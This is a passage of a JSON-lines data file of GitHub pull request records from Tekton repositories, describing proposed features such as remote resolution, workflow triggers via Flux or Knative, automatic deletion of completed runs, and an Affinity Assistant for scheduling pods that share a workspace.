you\r\nreview them:\r\n\r\n- [\ud83d\ude45\u200d\u2642 ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/experimental/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n", "created_at": "2020-02-12T07:46:04Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 14, "labels": ["approved", "lgtm", "size/XXL"], "linked_issues": [], "merged_at": "2020-02-17T19:57:00Z", "pr_number": 461, "repo": "experimental", "review_decision": "APPROVED", "reviewer_logins": ["imjasonh", "pierretasci", "vdemeester"], "title": "Oci tool: makes use of oci-artifacts to store and retrieve Tekton resources"} +{"additions": 90, "body": "\r\n\r\n# Changes\r\n\r\nWhen the input parameter is dynamically generated, it is not\r\npossible to produce a list. Add support for newline separated\r\nlist of items passed a single string.\r\n\r\nThis makes it possible for a task to produce a result that\r\nis than used as iterate parameter in the task loop, and thus\r\nto programmatically define the list of tasks to be executed.\r\n\r\nSigned-off-by: Andrea Frittoli \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Commit messages includes a project tag in the subject - e.g. [OCI], [hub], [results], [task-loops]\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/experimental/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n/kind feature", "created_at": "2021-03-03T15:32:58Z", "deletions": 38, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["kind/feature", "approved", "lgtm", "size/L"], "linked_issues": [], "merged_at": "2021-03-08T15:47:48Z", "pr_number": 713, "repo": "experimental", "review_decision": "APPROVED", "reviewer_logins": ["vdemeester"], "title": "[task-loops] Support string input for iterate parameter"} +{"additions": 2167, "body": "# Changes\r\n\r\nThis Custom Task type knows how to fetch a Task YAML from\r\na catalog and directly run it without the user needing to\r\n`kubectl apply -f` the task first.\r\n\r\nLooking at the following PipelineTask, it uses entries from the\r\ncatalog without having those tasks installed in the cluster.\r\n\r\n```yaml\r\n tasks:\r\n - name: unit-test\r\n taskRef:\r\n apiVersion: catalogtask.tekton.dev/v1alpha1\r\n kind: CatalogTask\r\n name: golang-test--0.1\r\n params:\r\n - name: package\r\n value: github.com/tektoncd/pipeline\r\n - name: context\r\n value: \"\"\r\n workspaces:\r\n - name: source\r\n workspace: shared\r\n```\r\n\r\nI've written this as a proof of concept initially. The code is very junky. We could optimize by only performing sparse checkouts of the remote task yaml. There's no support yet for credentials when fetching the remote tasks. And so on.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [ ] Commit messages includes a project tag in the subject - e.g. [OCI], [hub], [results], [task-loops]\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/experimental/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n\r\n/hold", "created_at": "2021-03-10T21:14:48Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 20, "labels": ["approved", "size/XXL", "do-not-merge/work-in-progress", "do-not-merge/hold"], "linked_issues": [], "merged_at": null, "pr_number": 723, "repo": "experimental", "review_decision": "COMMENTED", "reviewer_logins": ["vdemeester"], "title": "WIP Add a CatalogTask Custom Task Type"} +{"additions": 5870, "body": "# Changes\r\n\r\nThis commit adds a custom task that allows user to run simple sequential\r\nPipelines as one TaskRun - which means the Pipeline can refer to\r\nmultiple Tasks but run on only one pod.\r\n\r\nIt only supports a subset of Pipeline functionality (more detail on what\r\nand why in the README) but is enough that folks can do a lot of what\r\nthey would have previously used PipelineResources for, e.g. doing a git\r\nclone and then doing something with the data, in the same pod, and emit\r\nresults such as the exact commit sha used.\r\n\r\nNext steps will be to expand the functionality supported, get feedback,\r\nand if the feedback is good, promote this to a top level Pipeline API\r\nfeature.\r\n\r\nExperimental project proposal: https://github.com/tektoncd/community/issues/447\r\n\r\nAdded @wlynch @jerop as owners also, just ping me if you've changed your minds XD\r\n\r\np.s. shout out to the yaml test lib @imjasonh - i had to do some truly terrible things to make it work sometimes but it was still SOOOO much better than creating go structs XD\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Commit messages includes a project tag in the subject - e.g. [OCI], [hub], [results], [task-loops]\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/experimental/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n", "created_at": "2021-07-09T23:58:40Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 38, "labels": ["approved", "lgtm", "size/XXL"], "linked_issues": [], "merged_at": "2021-09-02T14:59:14Z", "pr_number": 770, "repo": "experimental", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "jerop"], "title": "[pipeline-to-taskrun] Add custom task that runs a Pipeline as a TaskRun \ud83c\udf59"} +{"additions": 10159, "body": "\r\n\r\n# Changes\r\n\r\nThis commit adds a controller, several reconcilers, and a set of helpers that\r\nall work in tandem to provide a framework for resolving Tekton resources from\r\nplaces like git repos. For this proof of concept only Tekton's `Pipeline` type is\r\nresolvable but in principle the solutions included here are agnostic to the\r\ncontent being requested.\r\n\r\nIn more concrete terms this project will take a `PipelineRun` that looks like\r\nthis:\r\n\r\n```yaml\r\nkind: PipelineRun\r\nmetadata:\r\n annotations:\r\n resolution.tekton.dev/resolver: git\r\n git.repo: https://github.com/sbwsg/experimental.git\r\n git.commit: 326ad1a1432b2144fb50f2bfd56875181a407c6b\r\n git.path: /remote-resolution/pipeline.yaml\r\nspec:\r\n status: PipelineRunPending\r\n```\r\n\r\nand turn it in to one that looks like this:\r\n\r\n```yaml\r\nkind: PipelineRun\r\nmetadata:\r\n # \r\nstatus:\r\n # this pipelineSpec has been pulled in from git\r\n pipelineSpec:\r\n tasks:\r\n - name: foo\r\n taskSpec:\r\n metadata: {}\r\n spec: null\r\n steps:\r\n - # ... etc ...\r\n```\r\n\r\nHere's a high level overview of the different parts in play:\r\n\r\n1. (Shown in the YAML above) `PipelineRuns` get a new syntax to indicate the\r\nplace that a `pipelineSpec` should be fetched from. In this proof of concept\r\nthat syntax takes the form of some specific annotations.\r\n\r\n2. A component interprets the syntax from (1) and converts it into a generic\r\nrequest for a resource. In this proof of concept the \"generic request\" is\r\neither an HTTP call or an instance of a new CRD called a `ResourceRequest`.\r\nBoth have been implemented to try and figure out which approach better suits\r\nthe project's needs.\r\n\r\n3. A resolver sees the request from (2) and figures out if it can respond. The\r\nresolver fetches the resource if so. In this proof of concept three resolvers\r\nhave been implemented: a \"noop\" resolver for testing, an \"in-cluster\" resolver\r\nthat can fetch pipelines from inside the cluster, and a \"git\" resolver that can\r\nfetch from public git repos.\r\n\r\nThe idea for (3) is to make writing a Resolver easy and to do so in a way that's\r\nindependent of the request format in (2). A resolver shouldn't care if the request\r\nis coming in via HTTP or a CRD or anything else. To that end a go interface has\r\nbeen introduced in the `pkg/reconciler/framework` directory that resolvers can\r\nimplement to hide all the boilerplate.\r\n\r\nSee remote-resolution/README.md for more details on installing and trying out\r\nthis controller.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Commit messages includes a project tag in the subject - e.g. [OCI], [hub], [results], [task-loops]", "created_at": "2021-10-21T18:05:10Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 113, "labels": ["size/XXL", "do-not-merge/invalid-owners-file", "lifecycle/stale"], "linked_issues": [], "merged_at": null, "pr_number": 806, "repo": "experimental", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "[remote-resolution] Proof-of-Concept Controller"} +{"additions": 7876, "body": "# Changes\r\nThis commit adds a proof of concept for a controller that reconciles ConcurrencyControls, in order to control execution of concurrent PipelineRuns.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [ ] Commit messages includes a project tag in the subject - e.g. [OCI], [hub], [results], [task-loops]\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/experimental/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n", "created_at": "2022-09-22T15:49:57Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 71, "labels": ["size/XXL", "do-not-merge/work-in-progress", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 895, "repo": "experimental", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "POC: Concurrency prototype with separate controller"} +{"additions": 1792, "body": "Based on https://bigkevmcd.github.io/tekton/flux/notifications/2020/12/06/flux-tekton.html. Uses Flux GitRepositories to poll for changes to specific branches on linked repos, Flux Receivers to accept events related to changes to these GitRepositories, a Flux Provider to turn a Tekton EventListener into a Flux event sink, and a Flux Alert to connect notifications related to the GitRepositories to the Provider that forwards to the EventListener. (There may be a simpler way to do this!)\r\n\r\nThis modifies the workflows API to allow multiple event types per event source, as this maps more easily to flux event types, and avoids having to duplicate the same repo just to allow triggering on multiple event types. Each workflow Trigger's webhook secret is passed to the github receiver.\r\n\r\nBenefits:\r\n- don't have to implement connections to git providers\r\n\r\nChallenges:\r\n- Flux bootstrapping requires providing credentials to allow Flux to create a repo in your git provider org\r\n- Flux GitRepository is meant to watch changes to a branch, so it's not well suited for CI, and it accepts only a branch name rather than a regex that could be a branch, tag, or commit\r\n- CEL filters now need to be rewritten in terms of the Flux event body instead of an event body from Github or elsewhere.\r\n- I'm not aware of a way to use informers/listers with Flux objects.\r\n- (maybe) some Flux objects may need to live in the \"flux-system\" namespace, so they cannot have the workflow as their owner ref\r\n\r\nPotential challenge or benefit:\r\n- Flux GitRepository polls for changes to the GitRepository, so it takes some time to generate a notification after a change, but it doesn't require creating an ingress for a webhook.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Commit messages includes a project tag in the subject - e.g. [OCI], [hub], [results], [task-loops]\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/experimental/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n", "created_at": "2022-10-26T20:05:50Z", "deletions": 138, "discovered_via": "tep_file_link", "files_changed": 21, "labels": ["size/XXL", "do-not-merge/work-in-progress", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 921, "repo": "experimental", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "[workflows] POC using flux"} +{"additions": 3404, "body": "This commit adds a POC for using Knative GitHub eventsource to create a webhook on a repo declared in a new repo CRD, given a personal access token and webhook secret. The sink for the GitHub eventsource is the Workflows eventlistener.\r\n\r\nThe user is expected to create a GitRepository with references to the necessary credentials before creating the Workflow. The GitHub eventsource connection status is reflected on the GitRepository.\r\n\r\nThe GitHub eventsource validates payloads coming from GitHub, so this functionality is removed from the generated workflow trigger. An interceptor is added to filter to only the repo of interest, assuming GitHub event payloads.\r\n\r\nThis commit also adds substitution for parameters of the form $(repos.foo.url).\r\n\r\nBenefits:\r\n- GitHub source takes care of setting up GitHub webhook so user does not have to.\r\n- We can add support for more eventsources by adding a new Knative eventsource.\r\n\r\nNot yet implemented:\r\n- cross-namespace repo references. This will allow repos to be defined once and used in multiple workflows.\r\n\r\nChallenges:\r\n- A webhook is associated with a repo, but the events a webhook is associated with can come from multiple workflows. It's not clear how to separate the repo definition from the events definition, so the repo configuration is created by the user, and the events part of its spec is later updated by the workflows controller. The GitHubSource must accept at least one event type, so we have to create it with one even if it's not initially specified in the GitRepository.\r\n- GitRepository is a very thin wrapper over the GitHub eventsource. Its main value add is abstracting away the Workflows EventListener.\r\n- It would be nice to add a plugin mechanism to support connecting to e.g. GitLab or connecting via a GitHub app. This approach relies on the workflows controller anticipating GitHub event payloads, and assumes the connection is done via a basic webhook with a personal access token.\r\n- The GitHub eventsource uses knative serving for autoscaling based on the number of events. Because events are infrequent, a pod is created each time an event is received and torn down afterwards, adding latency.\r\n- The GitHub eventsource doesn't preserve GitHub event headers, which are used for filtering event types and sending the right events to the right workflows.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Commit messages includes a project tag in the subject - e.g. [OCI], [hub], [results], [task-loops]\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/experimental/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n", "created_at": "2022-11-16T14:28:26Z", "deletions": 1462, "discovered_via": "tep_file_link", "files_changed": 51, "labels": ["size/XXL", "do-not-merge/work-in-progress"], "linked_issues": [], "merged_at": null, "pr_number": 928, "repo": "experimental", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "[workflows] POC using Knative GitHub eventsource"} +{"additions": 2869, "body": "# Changes\r\n\r\nFollowing [TEP 70](https://github.com/tektoncd/community/blob/main/teps/0070-tekton-catalog-task-platform-support.md), this code allows the hub to parse, store and return platform information for the resources.\r\n\r\n- add platform type to return platform information for resources and resource versions in the APIs\r\n ```\r\n - /v1/resources\r\n - /v1/resource/\r\n - /v1/resource///\r\n - /v1/resource////\r\n - /v1/resource//versions\r\n - /v1/resource/version/\r\n - /resources\r\n - /resource/\r\n - /resource///\r\n - /resource////\r\n - /resource//versions\r\n - /resource/version/\r\n```\r\n- update parser to get platform information from catalog resources using \"tekton.dev/platforms\" annotation\r\n (if there is no \"tekton.dev/platforms\" annotation in the resource content, \"linux/amd64\" value is assigned)\r\n- add tables for platform and many2many relations to resource and resource version\r\n\r\nSigned-off-by: Yulia Gaponenko \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/main/standards.md#principles) (if functionality changed/added)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/main/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/main/CONTRIBUTING.md) for more details._\r\n\r\n", "created_at": "2021-06-29T17:25:52Z", "deletions": 106, "discovered_via": "tep_file_link", "files_changed": 84, "labels": ["approved", "lgtm", "size/XXL"], "linked_issues": [], "merged_at": "2021-08-10T09:50:56Z", "pr_number": 282, "repo": "hub", "review_decision": "COMMENTED", "reviewer_logins": ["PuneetPunamiya", "barthy1", "pratap0007", "sm43"], "title": "Add platform information support for resources"} +{"additions": 353753, "body": "\r\nFixes #1302\r\n# Changes\r\n\r\nThe problem that this commit is resolving is that user can configure field \"**ExpirationSecondsTTL**\" in TaskRun or PipelineRun, which can limit the lifetime of a TaskRun that has finished execution (either Succeeded or Failed). \r\n\r\nIf the field \"**ExpirationSecondsTTL**\" is set, after the TaskRun finishes, it is eligible to be automatically deleted. When the TaskRun or PipelineRun is being deleted, its lifecycle guarantees will be honored. \r\n\r\nIf this field is unset, the TaskRun won't be automatically deleted. \r\n\r\nIf this field is set to zero, the TaskRun or PipelineRun becomes eligible to be deleted immediately after it finishes. And if taskRun is produced by PipelineRun(checked via ownerReference), this ExpirationSecondsTTL will be ignored, then tekton will check PipelineRun's ExpirationSecondsTTL to determine if PipelineRun should be deleted.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```\r\nWhen PipelineRun or TaskRun is completed, it will be deleted automatically after ExpirationSecondsTTL time.\r\n\r\napiVersion: tekton.dev/v1alpha1\r\nkind: PipelineRun\r\nmetadata:\r\n name: go-example-git\r\nspec:\r\n # [\u2026]\r\n expirationSecondsTTL: 300\r\n---\r\napiVersion: tekton.dev/v1alpha1\r\nkind: TaskRun\r\nmetadata:\r\n name: go-example-git\r\nspec:\r\n # [\u2026]\r\n expirationSecondsTTL: 300\r\n```\r\n", "created_at": "2019-10-15T16:15:34Z", "deletions": 293225, "discovered_via": "tep_file_link", "files_changed": 2421, "labels": ["size/XXL", "needs-ok-to-test", "cla: yes"], "linked_issues": [1302], "merged_at": null, "pr_number": 1429, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["NavazishS", "afrittoli", "anxinyf", "bobcatfish"], "title": "About deleting completed TaskRun or PipelineRun automatically"} +{"additions": 2317, "body": "From this commit, I'll break PR #1429 up into smaller PRs.\r\n\r\nAdd field \"ExpirationSecondsTTL\" in TaskRunSpec and PipelineRunSpec", "created_at": "2019-10-28T06:37:41Z", "deletions": 494, "discovered_via": "tep_file_link", "files_changed": 50, "labels": ["do-not-merge/hold", "size/XXL", "cla: yes", "ok-to-test"], "linked_issues": [], "merged_at": null, "pr_number": 1486, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["anxinyf", "bobcatfish", "vdemeester"], "title": "Adding support to delete completed TaskRun or PipelineRun automatically"} +{"additions": 407, "body": "Fixes #1559 \r\n\r\n# Changes\r\n\r\nOutstanding TODOs:\r\n- [x] Implement `defaultErrorStrategy` behaviour: its value should be copied into any steps that dont include their own `errorStrategy` field.\r\n- [x] Confirm how this interacts with existing output pipeline resources.\r\n\r\nThis commit introduces an `errorStrategy` field to Steps and a `defaultErrorStrategy` field to Tasks. These fields can currently accept one of two possible strategies. The first is `SkipOnPriorStepErrors` and tells the Step to skip its work if a prior step has failed. This is how Tekton works today and is therefore the default value if the field is omitted or left blank. The second strategy is `IgnorePriorStepErrors` and tells a step to run regardless of whether a previous step has already errored out.\r\n\r\nThis feature is intended to serve two similar use-cases:\r\n\r\n1. Unit test failures in a step can be written to the task workspace and then uploaded to persistent storage in a subsequent step, even though the unit test failure resulted in a non-zero exit code.\r\n2. Pipeline resources that need to report on the failed status of a step can do so. For example the pull request resource could be updated to add a final step to a Task that updates a PR with the status of a build step. Currently if a build step fails then any later steps will be skipped.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```\r\nThe steps of a task can now be run regardless of previous steps' errors. A step can now upload test results even if the test runner step before it failed.\r\n```", "created_at": "2019-11-14T23:19:43Z", "deletions": 40, "discovered_via": "tep_file_link", "files_changed": 16, "labels": ["do-not-merge/hold", "size/L", "cla: yes"], "linked_issues": [1559], "merged_at": null, "pr_number": 1573, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "Allow steps to run regardless of previous step errors"} +{"additions": 387, "body": "\r\n\r\n# Changes\r\n\r\nCorresponding changes to update the task run status with the new results from the task spec.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```\r\nProvide the task run status update to reflect the new results defined in the task spec.\r\n```\r\n", "created_at": "2020-01-22T22:58:37Z", "deletions": 20, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["approved", "lgtm", "size/L", "cla: yes"], "linked_issues": [], "merged_at": "2020-01-24T13:25:51Z", "pr_number": 1921, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["othomann"], "title": "Update task run status with results"} +{"additions": 877, "body": "# Changes\r\n\r\nTaskRuns within a PipelineRun may share files using a workspace volume.\r\nThe typical case is files from a git-clone operation. Tasks in a CI-pipeline often\r\nperform operations on the filesystem, e.g. generate files or analyze files,\r\nso the workspace abstraction is very useful.\r\n\r\nThe Kubernetes way of using file volumes is by using [PersistentVolumeClaims](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#persistentvolumeclaims).\r\nPersistentVolumeClaims use PersistentVolumes with different [access modes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#access-modes).\r\nThe most commonly available PV access mode is ReadWriteOnce, volumes with this\r\naccess mode can only be mounted on one Node at a time.\r\n\r\nWhen using parallel Tasks in a Pipeline, the pods for the TaskRuns is\r\nscheduled to any Node, most likely not to the same Node in a cluster.\r\nSince volumes with the commonly available ReadWriteOnce access mode cannot\r\nbe use by multiple nodes at a time, these \"parallel\" pods is forced to\r\nexecute sequentially, since the volume only is available on one node at a time.\r\nThis may make that your TaskRuns time out.\r\n\r\nClusters are often _regional_, e.g. they are deployed across 3 Availability\r\nZones, but Persistent Volumes are often _zonal_, e.g. they are only available\r\nfor the Nodes within a single zone. Some cloud providers offer regional PVs,\r\nbut sometimes regional PVs is only replicated to one additional zone, e.g. not\r\nall 3 zones within a region. This works fine for most typical stateful application,\r\nbut Tekton uses storage in a different way - it is designed so that multiple pods\r\naccess the same volume, in a sequece or parallel.\r\n\r\nThis makes it difficult to design a Pipeline that starts with parallel tasks using\r\nits own PVC and then have a common tasks that mount the volume from the earlier\r\ntasks - since - what happens if those tasks were scheduled to different zones -\r\nthe common task can not mount the PVCs that now is located in different zones, so\r\nthe PipelineRun is deadlocked.\r\n\r\nThere are a few technical solutions that offer parallel executions of Tasks\r\neven when sharing PVC workspace:\r\n\r\n- Using PVC access mode ReadWriteMany. But this access mode is not widely available,\r\n and is typically a NFS server or another not so \"cloud native\" solution.\r\n\r\n- An alternative is to use a storage that is tied to a specific node, e.g. local volume\r\n and then configure so pods are scheduled to this node, but this is not commonly\r\n available and it has drawbacks, e.g. the pod may need to consume and mount a whole\r\n disk e.g. several hundreds GB.\r\n\r\nConsequently, it would be good to find a way so that TaskRun pods that share\r\nworkspace are scheduled to the same Node - and thereby make it easy to use parallel\r\ntasks with workspace - while executing concurrently - on widely available Kubernetes\r\ncluster and storage configurations.\r\n\r\nA few alternative solutions have been considered, as documented in #2586.\r\nHowever, they all have major drawbacks, e.g. major API and contract changes.\r\n\r\nThis commit introduces an \"Affinity Assistant\" - a minimal placeholder-pod,\r\nso that it is possible to use [Kubernetes inter-pod affinity](https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity) for TaskRun pods that need to be scheduled to the same Node.\r\n\r\nThis solution has several benefits: it does not introduce any API changes,\r\nit does not break or change any existing Tekton concepts and it is\r\nimplemented with very few changes. Additionally it can be disabled with a feature-flag.\r\n\r\n**How it works:** When a PipelineRun is initiated, an \"Affinity Assistant\" is\r\ncreated for each PVC workspace volume. TaskRun pods that share workspace\r\nvolume is configured with podAffinity to the \"Affinity Assisant\" pod that\r\nwas created for the volume. The \"Affinity Assistant\" lives until the\r\nPipelineRun is completed, or deleted. \"Affinity Assistant\" pods are\r\nconfigured with podAntiAffinity to repel other \"Affinity Assistants\" -\r\nin a Best Effort fashion.\r\n\r\nThe Affinity Assistant is _singleton_ workload, since it acts as a\r\nplaceholder pod and TaskRun pods with affinity must be scheduled to the\r\nsame Node. It is implemented with [QoS class Guaranteed](https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod/#create-a-pod-that-gets-assigned-a-qos-class-of-guaranteed) but with minimal resource requests -\r\nsince it does not provide any work other than beeing a placeholder.\r\n\r\nSingleton workloads can be implemented in multiple ways, and they differ\r\nin behavior when the Node becomes unreachable:\r\n\r\n- as a Pod - the Pod is not managed, so it will not be recreated.\r\n- as a Deployment - the Pod will be recreated and puts Availability before\r\n the singleton property\r\n- as a StatefulSet - the Pod will be recreated but puds the singleton\r\n property before Availability\r\n\r\nTherefor the Affinity Assistant is implemented as a StatefulSet.\r\n\r\nEssentialy this commit provides an effortless way to use a functional\r\ntask parallelism with any Kubernetes cluster that has any PVC based\r\nstorage.\r\n\r\n**Example output from example:**\r\nFirst a Task graph:\r\n\r\n```\r\n# -- (upper) -- (reporter)\r\n# / \\\r\n# (starter) (validator)\r\n# \\ /\r\n# -- (lower) ------------\r\n```\r\n\r\nLogs:\r\n```\r\n$ tkn pr logs parallel-pipelinerun-2wf8d -n pe\r\nPipeline still running ...\r\n[starter : write] Hello Tekton\r\n[starter : write] + tee /workspace/task-ws/message /tekton/results/message\r\n[starter : write] + echo Hello Tekton\r\n\r\n[upper : to-upper] + tee /workspace/w/upper /tekton/results/message\r\n[upper : to-upper] + tr [:lower:] [:upper:]\r\n[upper : to-upper] + cat /workspace/w/init/message\r\n[upper : to-upper] HELLO TEKTON\r\n\r\n[lower : to-lower] + tee /workspace/w/lower /tekton/results/message\r\n[lower : to-lower] + tr [:upper:] [:lower:]\r\n[lower : to-lower] + cat /workspace/w/init/message\r\n[lower : to-lower] hello tekton\r\n\r\n[reporter : report-result] + echo HELLO TEKTON\r\n[reporter : report-result] HELLO TEKTON\r\n\r\n[validator : validate-upper] + grep HELLO TEKTON\r\n[validator : validate-upper] + cat /workspace/files/upper\r\n[validator : validate-upper] HELLO TEKTON\r\n\r\n[validator : validate-lower] + cat /workspace/files/lower\r\n[validator : validate-lower] + grep hello tekton\r\n[validator : validate-lower] hello tekton\r\n```\r\n\r\nA listing of the pods, shows that all pods that share PVC workspace, is scheduled to the same Node. The \"reporter\" task does not use a workspace and hence can be scheduled to any Node (this was a 4 Node cluster).\r\n\r\n```\r\n$ kubectl get po -n pe -o wide\r\nNAME READY NODE 